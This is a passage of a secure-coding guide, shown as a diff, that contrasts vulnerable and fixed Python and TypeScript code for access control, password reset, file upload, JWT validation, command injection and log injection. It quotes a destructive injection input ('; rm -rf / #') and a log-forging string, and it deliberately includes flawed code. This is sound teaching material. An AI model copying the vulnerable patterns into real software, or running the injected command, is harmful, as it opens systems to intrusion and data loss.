+
```
|
|
1157
|
+
|
|
1158
|
+
### Example 3: Access Control in Python/Django
|
|
1159
|
+
|
|
1160
|
+
```python
|
|
1161
|
+
# VULNERABLE — no authorization check, IDOR
|
|
1162
|
+
class InvoiceView(View):
|
|
1163
|
+
def get(self, request, invoice_id):
|
|
1164
|
+
invoice = Invoice.objects.get(id=invoice_id)
|
|
1165
|
+
return JsonResponse(invoice.to_dict())
|
|
1166
|
+
# Any authenticated user can access any invoice by guessing IDs
|
|
1167
|
+
|
|
1168
|
+
# SECURE — ownership verification with Django permissions
|
|
1169
|
+
from django.core.exceptions import PermissionDenied
|
|
1170
|
+
|
|
1171
|
+
class InvoiceView(LoginRequiredMixin, View):
|
|
1172
|
+
def get(self, request, invoice_id):
|
|
1173
|
+
try:
|
|
1174
|
+
invoice = Invoice.objects.get(
|
|
1175
|
+
id=invoice_id,
|
|
1176
|
+
organization=request.user.organization # Tenant isolation
|
|
1177
|
+
)
|
|
1178
|
+
except Invoice.DoesNotExist:
|
|
1179
|
+
raise Http404 # Don't reveal whether invoice exists
|
|
1180
|
+
if not request.user.has_perm('invoices.view_invoice'):
|
|
1181
|
+
raise PermissionDenied
|
|
1182
|
+
return JsonResponse(invoice.to_dict())
|
|
1183
|
+
```
|
|
1184
|
+
|
|
1185
|
+
### Example 4: Secure Password Reset (TypeScript)
|
|
1186
|
+
|
|
1187
|
+
```typescript
|
|
1188
|
+
// VULNERABLE — predictable token, no expiry, user enumeration
|
|
1189
|
+
app.post('/forgot-password', async (req, res) => {
|
|
1190
|
+
const user = await db.users.findByEmail(req.body.email);
|
|
1191
|
+
if (!user) return res.status(404).json({ error: 'User not found' });
|
|
1192
|
+
const token = user.id.toString(); // Predictable!
|
|
1193
|
+
await sendEmail(user.email, `Reset: /reset?token=${token}`);
|
|
1194
|
+
res.json({ message: 'Email sent' });
|
|
1195
|
+
});
|
|
1196
|
+
|
|
1197
|
+
// SECURE — cryptographic token, expiry, constant-time response
|
|
1198
|
+
import { randomBytes } from 'crypto';
|
|
1199
|
+
|
|
1200
|
+
app.post('/forgot-password', async (req, res) => {
|
|
1201
|
+
const user = await db.users.findByEmail(req.body.email);
|
|
1202
|
+
if (user) {
|
|
1203
|
+
const token = randomBytes(32).toString('hex');
|
|
1204
|
+
await db.resetTokens.create({
|
|
1205
|
+
userId: user.id,
|
|
1206
|
+
tokenHash: await hash(token), // Store hash, not plaintext
|
|
1207
|
+
expiresAt: new Date(Date.now() + 3600_000) // 1 hour expiry
|
|
1208
|
+
});
|
|
1209
|
+
await sendEmail(user.email, `Reset: /reset?token=${token}`);
|
|
1210
|
+
}
|
|
1211
|
+
// Same response regardless of whether user exists
|
|
1212
|
+
res.json({ message: 'If an account exists, a reset email has been sent' });
|
|
1213
|
+
});
|
|
1214
|
+
```
|
|
1215
|
+
|
|
1216
|
+
### Example 5: Secure File Upload (Python)
|
|
1217
|
+
|
|
1218
|
+
```python
|
|
1219
|
+
# VULNERABLE — no type check, no size limit, path traversal
|
|
1220
|
+
def upload_file(request):
|
|
1221
|
+
f = request.FILES['file']
|
|
1222
|
+
with open(f'/uploads/{f.name}', 'wb') as dest:
|
|
1223
|
+
for chunk in f.chunks():
|
|
1224
|
+
dest.write(chunk)
|
|
1225
|
+
return JsonResponse({'path': f.name})
|
|
1226
|
+
|
|
1227
|
+
# SECURE — type validation, size limit, randomized name, content inspection
|
|
1228
|
+
import uuid
|
|
1229
|
+
import magic
|
|
1230
|
+
from pathlib import Path
|
|
1231
|
+
|
|
1232
|
+
ALLOWED_TYPES = {'image/jpeg', 'image/png', 'application/pdf'}
|
|
1233
|
+
MAX_SIZE = 10 * 1024 * 1024 # 10 MB
|
|
1234
|
+
UPLOAD_DIR = Path('/var/app/uploads')
|
|
1235
|
+
|
|
1236
|
+
def upload_file(request):
|
|
1237
|
+
f = request.FILES['file']
|
|
1238
|
+
|
|
1239
|
+
# Size check
|
|
1240
|
+
if f.size > MAX_SIZE:
|
|
1241
|
+
return JsonResponse({'error': 'File too large'}, status=413)
|
|
1242
|
+
|
|
1243
|
+
# Content-type validation via magic bytes (not extension or Content-Type header)
|
|
1244
|
+
mime = magic.from_buffer(f.read(2048), mime=True)
|
|
1245
|
+
f.seek(0)
|
|
1246
|
+
if mime not in ALLOWED_TYPES:
|
|
1247
|
+
return JsonResponse({'error': 'File type not allowed'}, status=415)
|
|
1248
|
+
|
|
1249
|
+
# Generate random filename, preserve only validated extension
|
|
1250
|
+
ext = {'image/jpeg': '.jpg', 'image/png': '.png', 'application/pdf': '.pdf'}[mime]
|
|
1251
|
+
safe_name = f"{uuid.uuid4().hex}{ext}"
|
|
1252
|
+
dest_path = UPLOAD_DIR / safe_name
|
|
1253
|
+
|
|
1254
|
+
with open(dest_path, 'wb') as dest:
|
|
1255
|
+
for chunk in f.chunks():
|
|
1256
|
+
dest.write(chunk)
|
|
1257
|
+
|
|
1258
|
+
return JsonResponse({'id': safe_name})
|
|
1259
|
+
```
|
|
1260
|
+
|
|
1261
|
+
### Example 6: Secure JWT Validation (TypeScript)
|
|
1262
|
+
|
|
1263
|
+
```typescript
|
|
1264
|
+
// VULNERABLE — no signature verification, algorithm confusion
|
|
1265
|
+
import jwt from 'jsonwebtoken';
|
|
1266
|
+
|
|
1267
|
+
function verifyToken(token: string) {
|
|
1268
|
+
return jwt.decode(token); // decode does NOT verify signature!
|
|
1269
|
+
}
|
|
1270
|
+
|
|
1271
|
+
// SECURE — full verification with explicit algorithm
|
|
1272
|
+
import { jwtVerify, JWTVerifyResult } from 'jose';
|
|
1273
|
+
|
|
1274
|
+
const JWKS = createRemoteJWKSet(new URL('https://auth.example.com/.well-known/jwks.json'));
|
|
1275
|
+
|
|
1276
|
+
async function verifyToken(token: string): Promise<JWTVerifyResult> {
|
|
1277
|
+
return await jwtVerify(token, JWKS, {
|
|
1278
|
+
algorithms: ['RS256'], // Explicit algorithm — prevents 'none' attack
|
|
1279
|
+
issuer: 'https://auth.example.com', // Validate issuer
|
|
1280
|
+
audience: 'my-api', // Validate audience
|
|
1281
|
+
clockTolerance: 30, // 30 second tolerance
|
|
1282
|
+
});
|
|
1283
|
+
}
|
|
1284
|
+
```
|
|
1285
|
+
|
|
1286
|
+
### Example 7: Preventing Command Injection (Python)
|
|
1287
|
+
|
|
1288
|
+
```python
|
|
1289
|
+
# VULNERABLE — shell injection via user input
|
|
1290
|
+
import os
|
|
1291
|
+
|
|
1292
|
+
def convert_image(filename):
|
|
1293
|
+
os.system(f"convert {filename} output.png")
|
|
1294
|
+
# Attacker input: "; rm -rf / #"
|
|
1295
|
+
|
|
1296
|
+
# SECURE — subprocess with argument list (no shell)
|
|
1297
|
+
import subprocess
|
|
1298
|
+
import re
|
|
1299
|
+
from pathlib import Path
|
|
1300
|
+
|
|
1301
|
+
ALLOWED_FILENAME = re.compile(r'^[a-zA-Z0-9_-]+\.(jpg|png|gif)$')
|
|
1302
|
+
|
|
1303
|
+
def convert_image(filename: str):
|
|
1304
|
+
if not ALLOWED_FILENAME.match(filename):
|
|
1305
|
+
raise ValueError("Invalid filename")
|
|
1306
|
+
input_path = Path('/uploads') / filename
|
|
1307
|
+
if not input_path.resolve().is_relative_to(Path('/uploads')):
|
|
1308
|
+
raise ValueError("Path traversal detected")
|
|
1309
|
+
subprocess.run(
|
|
1310
|
+
['convert', str(input_path), '/output/result.png'],
|
|
1311
|
+
check=True,
|
|
1312
|
+
timeout=30,
|
|
1313
|
+
capture_output=True
|
|
1314
|
+
)
|
|
1315
|
+
```
|
|
1316
|
+
|
|
1317
|
+
### Example 8: Secure Logging Without Injection (TypeScript)
|
|
1318
|
+
|
|
1319
|
+
```typescript
|
|
1320
|
+
// VULNERABLE — user input in log strings enables log injection
|
|
1321
|
+
app.post('/login', (req, res) => {
|
|
1322
|
+
console.log(`Login attempt for user: ${req.body.username}`);
|
|
1323
|
+
// Attacker input: "admin\n[INFO] Login successful for admin" — log forging
|
|
1324
|
+
});
|
|
1325
|
+
|
|
1326
|
+
// SECURE — structured logging with pino, no string interpolation
|
|
1327
|
+
import pino from 'pino';
|
|
1328
|
+
const logger = pino({ redact: ['password', 'ssn', 'creditCard'] });
|
|
1329
|
+
|
|
1330
|
+
app.post('/login', (req, res) => {
|
|
1331
|
+
logger.info({
|
|
1332
|
+
event: 'auth.login.attempt',
|
|
1333
|
+
email: req.body.email, // Structured field — cannot inject newlines
|
|
1334
|
+
ip: req.ip,
|
|
1335
|
+
timestamp: new Date().toISOString()
|
|
1336
|
+
});
|
|
1337
|
+
});
|
|
1338
|
+
```
|
|
1339
|
+
|
|
1340
|
+
---
|
|
1341
|
+
|
|
1342
|
+
## References
|
|
1343
|
+
|
|
1344
|
+
- OWASP Top 10:2021 — https://owasp.org/Top10/
|
|
1345
|
+
- OWASP Top 10:2025 — https://owasp.org/Top10/2025/en/
|
|
1346
|
+
- OWASP Cheat Sheet Series — https://cheatsheetseries.owasp.org/
|
|
1347
|
+
- OWASP ASVS — https://owasp.org/www-project-application-security-verification-standard/
|
|
1348
|
+
- CWE Top 25 (2024) — https://cwe.mitre.org/top25/archive/2024/2024_cwe_top25.html
|
|
1349
|
+
- NIST SP 800-53 Rev 5 — https://csrc.nist.gov/publications/detail/sp/800-53/rev-5/final
|
|
1350
|
+
- NIST Cybersecurity Framework 2.0 — https://www.nist.gov/cyberframework
|
|
1351
|
+
- PCI DSS 4.0 — https://www.pcisecuritystandards.org/
|
|
1352
|
+
- Semgrep OWASP Rules — https://semgrep.dev/p/owasp-top-ten
|
|
1353
|
+
- GitHub CodeQL — https://codeql.github.com/
|
|
1354
|
+
- OWASP ZAP — https://www.zaproxy.org/
|